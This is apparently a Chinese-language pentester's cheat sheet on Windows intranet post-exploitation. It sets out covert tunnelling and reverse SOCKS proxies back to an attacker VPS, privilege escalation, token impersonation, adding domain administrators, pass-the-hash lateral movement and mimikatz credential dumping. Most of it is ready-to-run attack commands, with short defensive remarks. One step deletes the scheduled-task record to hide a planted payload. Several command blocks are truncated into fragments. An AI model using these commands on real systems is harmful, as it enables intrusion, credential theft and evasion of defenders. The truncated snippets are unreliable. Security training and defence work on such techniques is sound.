内网信息搜集
内网信息搜集
手动信息搜集:
1 | ipconfig /all 查询网络配置信息 |
隐藏通信隧道
- 网络层:IPv6隧道,ICMP隧道,GRE隧道
- 传输层:TCP隧道,UDP隧道,常规的端口转发
- 应用层:SSH隧道,HTTP隧道,HTTPS隧道,DNS隧道
ICMP隧道—网络层
使用PingTunner工具,在web服务器执行如下代码ptunnel -x shuteer
,在VPS服务器中执行如下命令 ptunnel -p web服务器ip -lp 1080 -da 服务器内网其他服务器IP -dp 服务器内网其他服务器端口 -x ch1e
- -x 指定隧道连接的验证密码
- -lp 指定要监听的本地TCP端口
- -da 指定要转发的模板机器的ip地址
- -dp 指定要转发的目标机器的tcp端口
- -p 指定icmp隧道另一端的机器的ip地址
下面举个例子,比如 ptunnel -p 192.168.1.4 -lp 1080 -da 1.1.1.10 -dp 3389
,上面这条命令就是在访问攻击者VPS的ip也就是192.168.1.5的1080端口,他会把数据库服务器1.1.1.10的3389端口的数据封装在ICMP隧道里,只需要访问192.168.1.5的1080端口即可连接1.1.1.10 的远程桌面
特征:会产生大量的ICMP数据包,会在所有ICMP payload前面加上TUNL标记
端口转发—传输层
内网端口转发
在公网vps上执行,把本地监听的4444端口转发到5555端口
lcx.exe -listen 4444 5555
目标机器执行,把目标机器3389端口的数据转发到公网4444端口上
lcx.exe -slave 公网主机ip地址 4444 127.0.0.1 3389
使用远程桌面登录 公网主机ip地址:5555即可访问目标服务器的3389端口
本地端口映射
如果目标服务器有防火墙限制,3389等端口数据无法通过,可以吧数据传到防火墙允许的其他端口,比如53
lcx.exe -tran 53 目标主机ip地址 3389
SSH隧道—应用层
本地转发
一般SSH协议是被运行通过防火墙和边界设备的,所以可以使用ssh协议开启隧道,主要参数如下
- -C:压缩传输,提高速度
- -f:把ssh传输转入后台执行,不占用当前的shell
- -N:建立静默链接,只是看不到会话
- -g:允许远程主机连接本地用于转发的端口
- -L:本地端口转发
- -R:远程端口转发
- -D:动态转发
- -P:指定SSH端口
Example:ssh -CfNg -L VPS端口:目标主机:目标端口 root@跳板机ip(一般是web服务器ip)
远程转发
以web服务器为跳板,把VPS的3307端口的流量转发到1.1.1.10的3389端口,然后访问VPS的3307端口 ,就可以访问到1.1.1.10的3389端口了
ssh -CfNg -R 3307:1.1.1.10:3389 root@192.168.1.4
防御思路:在ACL中限制只有特定的IP地址才能连接ssh
HTTP/HTTPS隧道—应用层
常见的代理工具有reGeorg,meterpreter,tunna等
reGeorg支持ASPX PHP JSP等Web脚本,首先得把脚本文件上传到目标服务器上,然后运行以下命令
python reGeorgSocksProxy.py -u http://192.168.184.149:8080/tunnel.jsp -p 9999
然后可以使用类似ProxyChains之类的工具
Socks代理
EarthWorm:ew
普通网络环境
正向socks5服务器:
ew -s ssocksd -l 888
执行上述命令,即可架设一个端口为888的socks代理
反向socks5服务器:
在个人公网vps上输入如下命令:
ew -s rcsocks -l 1080 -e 888
在 1.1.1.1 的公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 888 端口的主机
在Web服务器上使用如下命令:
ew -s rssocks -d 1.1.1.1 -e 888
1.1.1.1是个人的公网vps的IP,将目标网络的可控边界主机反向连接公网主机1.1.1.1
所以我们可通过访问 1.1.1.1:1080 端口使用 rssocks 主机提供的 socks5 代理服务
二重网络环境
对于二重网络环境:
1. 获得目标网络内两台主机 A、B 的权限,情况描述如下:
A 主机: 存在公网 IP,且自由监听任意端口,无法访问特定资源
B 主机: 目标网络内部主机,可访问特定资源,但无法访问公网
A 主机可直连 B 主机
可控边界主机A 可访问指定资源的主机B
+---------+ +-----------------------+ +-----------------+
|HackTools| ->> | 1080 --> 2.2.2.2 --> | ->> | 9999 -> 2.2.2.3 |
+---------+ +-----------------------+ +-----------------+
a) ./ew -s ssocksd -l 9999
// 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
b) ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
// 将 1080 端口收到的 socks 代理请求转交给 2.2.2.3 的主机。
c) HackTools 可通过访问 2.2.2.2:1080 来使用 2.2.2.3 主机提供的 socks5 代理。
2. 获得目标网络内两台主机 A、B 的权限,情况描述如下:
A 主机: 目标网络的边界主机,无公网 IP,无法访问特定资源。
B 主机: 目标网络内部主机,可访问特定资源,却无法回连公网。
A 主机可直连 B 主机
一台可控公网IP主机 可控内网主机A 可访问指定资源的主机B
+---------+ +--------------------------+ | +-----------------+ +-----------------+
|HackTools| ->> | 1080 -> 1.1.1.1 -> 8888 | 防火墙 | <-- 2.2.2.2 --> | ->> | 9999 -> 2.2.2.3 |
+---------+ +--------------------------+ | +-----------------+ +-----------------+
a) ./ew -s lcx_listen -l 1080 -e 8888
// 在 1.1.1.1 公网主机添加转接隧道,将 1080 收到的代理请求
// 转交给反连 8888 端口的主机
b) ./ew -s ssocksd -l 9999
// 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
c) ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
// 在 2.2.2.2 上,通过工具的 lcx_slave 方式,打通1.1.1.1:8888 和 2.2.2.3:9999 之间的通讯隧道
d) HackTools 可通过访问 1.1.1.1:1080 来使用 2.2.2.3 主机提供的 socks5 代理
判断是否出网
- ICMP:ping baidu.com
- TCP:nc -zv xxx.xxx.xxx.xxx
- HTTP:curl www.baidu.com
- DNS:nslookup www.baidu.com vps-ip
权限提升
权限介绍
User:普通用户权限,系统中最安全的权限
Administrator:管理员权限,可以提升为System权限,方便操作SAM文件
System:系统权限
TrustedInstaller:Windows中的最高权限,只有这个权限才能修改系统文件
提权方法
- 系统内核溢出漏洞提权
- 数据库提权
- 错误的系统配置提权
- 组策略首选项提权
- Web中间件漏洞提权
- DLL劫持提权
- 滥用高权限令牌提权
- 第三方服务/软件提权
系统内核溢出漏洞提权
如果没有及时打补丁,我们就可以找到对应的exp进行提权
首先可以输入命令systeminfo
,然后放到Windows提权辅助工具里寻找可用的exp即可
防御方法:打好补丁
系统服务权限配置错误
Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件,如果一个低权限用户对此类系统服务调用的可执行文件拥有写权限,就可以把该文件替换成任意可执行文件,并随着系统服务器的启动获得可执行权限。
存在下面两种可能:
- 服务未运行,攻击者使用任意服务替换原来的服务,然后重启服务
- 服务正在运行并且无法终止,攻击者通常会利用DLL劫持尝试重启服务来提权
我们可以使用Metasploit,对应的利用模块是service_permissions 选择AGGRESSIVE选项,可以利用目标机器上每一个有缺陷的服务。
注册表键AlwaysInstallElevated
注册表键AlwaysInstallElevated是有个策略设置项,Windows允许低权限用户以System权限允许安装文件,如果启动此选项,任何权限的用户都能以NT/AUTHORITY安装msi文件。
漏洞产生原因:开启了Windows Instaler特权安装功能
可信任服务路径漏洞
可信任服务路径(包含空格且没有引号的路径)利用了Windows文件路径解析的特性,并涉及服务路径/文件夹权限。如果一个服务调用的可执行文件没有正确的处理所引用的完整路径名,这个漏洞就可以被攻击者用来上传任意可执行文件。
这里主要介绍MSF下的实战利用
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
然后检测是否有对目标文件夹的写入权限,使用Windows内置的icacls根据,依次检查上一步输出的路径,会发现有些目录后有Everyone:(OI)(CI)(F)字样
- Everyone:用户对这个文件夹有完全控制权限,所有用户都具有修改这个文件夹的权限
- (M):修改
- (F):完全控制
- (CI):从属容器将继承访问控制项
Everyone:(OI)(CI)(F)的意思就是用户对这个文件夹有读,写,删除其下文件,删除子目录的权限
确认目标机器中存在此漏洞后,把要上传的程序重命名并且放置在存在此漏洞且科协的目录下,执行以下命令,尝试重启服务
1 | sc stop service_name |
也可以使用Metasploit中的Windows Service Trusted Path Privilege Escalation模块
自动安装配置文件
网络管理员在多台机器配置同一个环境时,通常不会逐台配置,会使用批量部署的方法,在这过程中会安装配置文件,包含所有安装配置信息。
- C:\sysprep.ini
- C:\sysprep\sysoreo.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
- C:\unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattended.xml
- C:\Windows\Panther\Unattend\Unattended.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\System32\Sysprep\unattend.xml
- C:\Windows\System32\Sysprep\Panther\unattend.xml
也可以执行如下命令进行搜索
dir /b /s c:\Unattend.xml
Metasploit中集成了该漏洞的利用模块post/windows/gather/enum_unattend
计划任务
可以用如下命令查看计算机的计划任务
schtasks /query /fo LIST /v
我们可以查询当前权限对高权限运行的任务所在的目录是否有可写权限,如果有就可以使用恶意程序来覆盖原来的程序,这样在计划任务下次执行时,就会以高权限来运行恶意程序
可以使用AccessChk是微软官方提供的一个工具,不会引起杀软的报警
1 | 列出某个驱动器下所有权限配置有缺陷的文件夹 |
at命令
Windows Server 2008之前版本使用,使用at创建计划任务流程如下
- 使用
net time
确定远程机器当前的系统时间 - 使用copy命令把Payload文件复制到远程目标机器中
- 使用at命令定时启动Payload文件
- 删除使用at命令创建计划任务的记录
具体命令执行流程如下:
- net time \\192.168.100.1
- copy calc.bat\ \192.168.100.1\C$
- at \\192.168.100.1 4:44PM C:\calc.bat Added a new job with job ID=7
- at \\192.168.100.1 7 /delete
schtasks命令
Windows Server2008后不使用at命令,使用schtasks命令代替at命令
1 | 在远程主机上创建一个名称为test的计划任务,在开机时启动,启动权限是system |
组策略首选项
一般的域环境所有机器都是脚本化自动部署,为了方便对所有的机子进行操作,会使用组策略进行统一的管理和配置,管理员可以通过组策略统一修改密码,但是如果这样,那所有的机子的管理员密码都是相同的,我们只要获取一台的本地管理员密码,那么就相当于获得了域中所有机器的本地管理员密码
常见的组策略首选项
- 映射驱动器
- 创建本地用户
- 数据源
- 打印机配置
- 创建/更新服务
- 计划任务
管理员在域中更新一个组策略以后,操作系统会自动在SYSVOL共享目录中生成一个xml文件,该文件保存了该组策略更新后的密码,使用了AES-256加密算法,但是由于微软在2012年公开了该密码的密钥,导致密码的安全性降低
我们可以直接找到包含cpassword的xml文件,对密文进行解密
防御方法:
- 安装KB2962486补丁
- 设置共享文件夹Everyone的访问权限
- 把包含组策略密码的Xml文件中SYSVOL的目录中删除
- 不要把密码放在所有域用户都有权访问的文件中
- 如果需要更改域中机器的本地管理员密码,建议使用LAPS
BypassUAC
计算机的操作系统版本大于Windows Vista或更高,在权限不够的情况下, 访问系统磁盘的根目录,Windows目录,Program Files目录,以及读,写系统登录数据库的程序等操作,需要经过UAC(User Account Control)的认证
UAC有四种设置要求,始终通知,仅在程序视图更改我的计算机时通知,仅在程序视图更改我的计算机时候通知我(不降低桌面亮度),从不提示
仅在程序视图更改我的计算机时通知是默认情况
假设我们经过前提的渗透测试已经获得到了目标的meterpreter的shell,当前权限为普通用户,如果我们尝试获取系统的System权限,可以先运行exploit/windows/local/bypassuac模块,然后执行getsystem(在使用这个模块的时候当前用户必须在管理员组中,UAC必须为默认设置)
也可以使用RunAs模块,使用exploit/windows/local/ask模块,在弹出的uac对话框中选择是,即可,要求是当前用户在管理员组或知道管理员的密码,对UAC无要求,需要使用EXE::Custom选项创建一个可执行文件,需要进行免杀处理
令牌窃取
令牌是系统中的临时密钥,相当于账号和密码,有了令牌就可以在不提供密码或者其他凭证的情况下访问网络和系统资源,他的特地是随机性和不可预测性,访问令牌(Access Token)代表访问控制操作主体的系统对象,密保令牌(Security Token)叫认证令牌或者硬件令牌,是一种实现计算机身份校验的物理设备,比如U盾,会话令牌(Session Token)是交互会话中唯一的身份标识符
伪造令牌的核心是kerberos协议,首先是客户端向服务端请求证书,认证服务器收到请求,把包含密钥的加密证书给客户端,该证书包含了服务器Ticket和一个临时加密密钥,也会向服务器发送一份证书,使服务器可以验证客户端身份,客户端把Ticket给服务器,如果服务器确认客户端身份,就允许登录,客户端登录服务器以后,攻击者就可以通过入侵服务器来窃取客户端的令牌
假设获取到了目标机器的meterpreter shell,首先输入 user incognito
,然后输入 list_tokens -u
,列出可用的令牌,有两种类型的令牌,一种是Delegation Tokens,就是授权令牌,支持交互式登录,另外一种是Impersonation Tokens,也就是模拟令牌,支持非交互式的会话,令牌数量取决于meterpreter shell的访问级别,然后调用impersonate_token就可以假冒用户了,比如impersonate_token WIN-xxx//Administrator
Rotten Potato
1 | use incognito |
添加域管理员
拿到meterpreter shell以后输入ps,找到域管理进程,使用migrate 迁移到这个进程,输入shell进入控制行界面
1 | net user ch1e ch1esec /ad /domain 添加域用户 |
同样,在meterpreter中可以使用incognito来模拟域管理员,通过迭代系统中所有可用的身份验证令牌来添加域管理员
1 | 在活动的meterpreter中执行如下命令, 在域控主机上添加一个账号 |
横向移动
IPC(Internet Process Connection)
通过$IPC,可以与目标机器建立连接,可以访问目标机器的文件,进行上传和下载操作,还可以运行其他命令
首先需要建立一个IPC连接,net use \\IP\ipc$ "密码" /user:"administrator"
,可以使用net use
查看已经建立的连接
利用条件:开启了139,445端口,通过139,445端口,可以实现对共享文件/打印机的访问,并且管理员需要开启默认共享
PTH(Pass The Hash)
拿到某个机子的NTLM hash,就可以拿这个NTLM进行远程登录,原理其实是Windows内部不保存明文密码,只保存密码的hash值,本机用户的密码hash是放在%SystemRoot%\System32\config\SAM
里,域内用户的密码存放在域控的C:\Windows\NTDS\NTDS.dit
文件里,在使用CS时常见到以下情况的hash
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
windows中hash结构一般为username:RID:LM-hsah:NTLM-hash
,AAD3B435B51404EEAAD3B435B51404EE是LM Hash,31D6CFE0D16AE931B73C59D7E0C089C0是NTLM Hash这里的话LM加密算法不进行介绍,只在2000 XP 2003系统中有,从Windows Vista 和 Windows Server 2008开始默认只存储NTLM Hash,如果密码是空或者不存储LM Hash的话,这里的LM Hash都是AAD3B435B51404EEAAD3B435B51404EE,NTLM的算法如下
- 先把用户名密码转换成16进制
- 把16进制格式的密码进行Unicode编码
- 使用MD4对Unicode编码数据进行Hash计算
这里标注了大概过程
- 用户登录客户端电脑
- 客户端向服务器发送协商消息,包含客户端支持和服务器请求的功能列表
- 服务器用质询进行响应,包含服务器支持和同意的功能列表,最主要包含服务器产生的Challenge
- 客户端用身份验证回复质询,用户接受到3中的challenge后,用用户与challenge进行加密运算得到response,把response,username,challenge,发给服务器,response是关键,他向服务器证明客户端用户知道账号密码
- 服务器拿到身份验证后,用challenge和hash进行加密得到response2与身份验证发来的response进行比较,如果用户hash在域控里,如果没有用户hash,没法计算response2,这个时候服务器会使用netlogon协议,联系域控,建立一个安全通道,把协商,质询,身份证验证全发给域控,这个过程叫Pass Through Authentication认证流程
- 域控使用challenge和用户hash加密得到response2,与response比较
这里就可能存在一个安全问题,由于在计算response的时候,客户端是使用的用户的hash进行计算,而不是用户密码,所以我们只需要用户hash即可登录
单机密码抓取
想要抓取明文或者哈希密码,必须要提权至System,本地用户名,哈希值和安全验证信息都存在SAM中,lsass.exe进程是实现Windows的安全策略(本地安全策略和登录策略) 我们可以使用工具把散列值和明文密码从内存中的lsass.exe进程或者SAM文件导出
通过SAM和System文件抓取密码
1 | 无工具导出SAM文件 |
使用mimikatz在线读取SAM文件
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
使用mimikatz离线读取lsass.dmp文件
Procdump是微软的工具,可以在命令行下把lsass文件导出,杀软不会报毒
1 | 使用Procdump导出lsass.dmp文件 |
防御方法:开启Wdigest Auth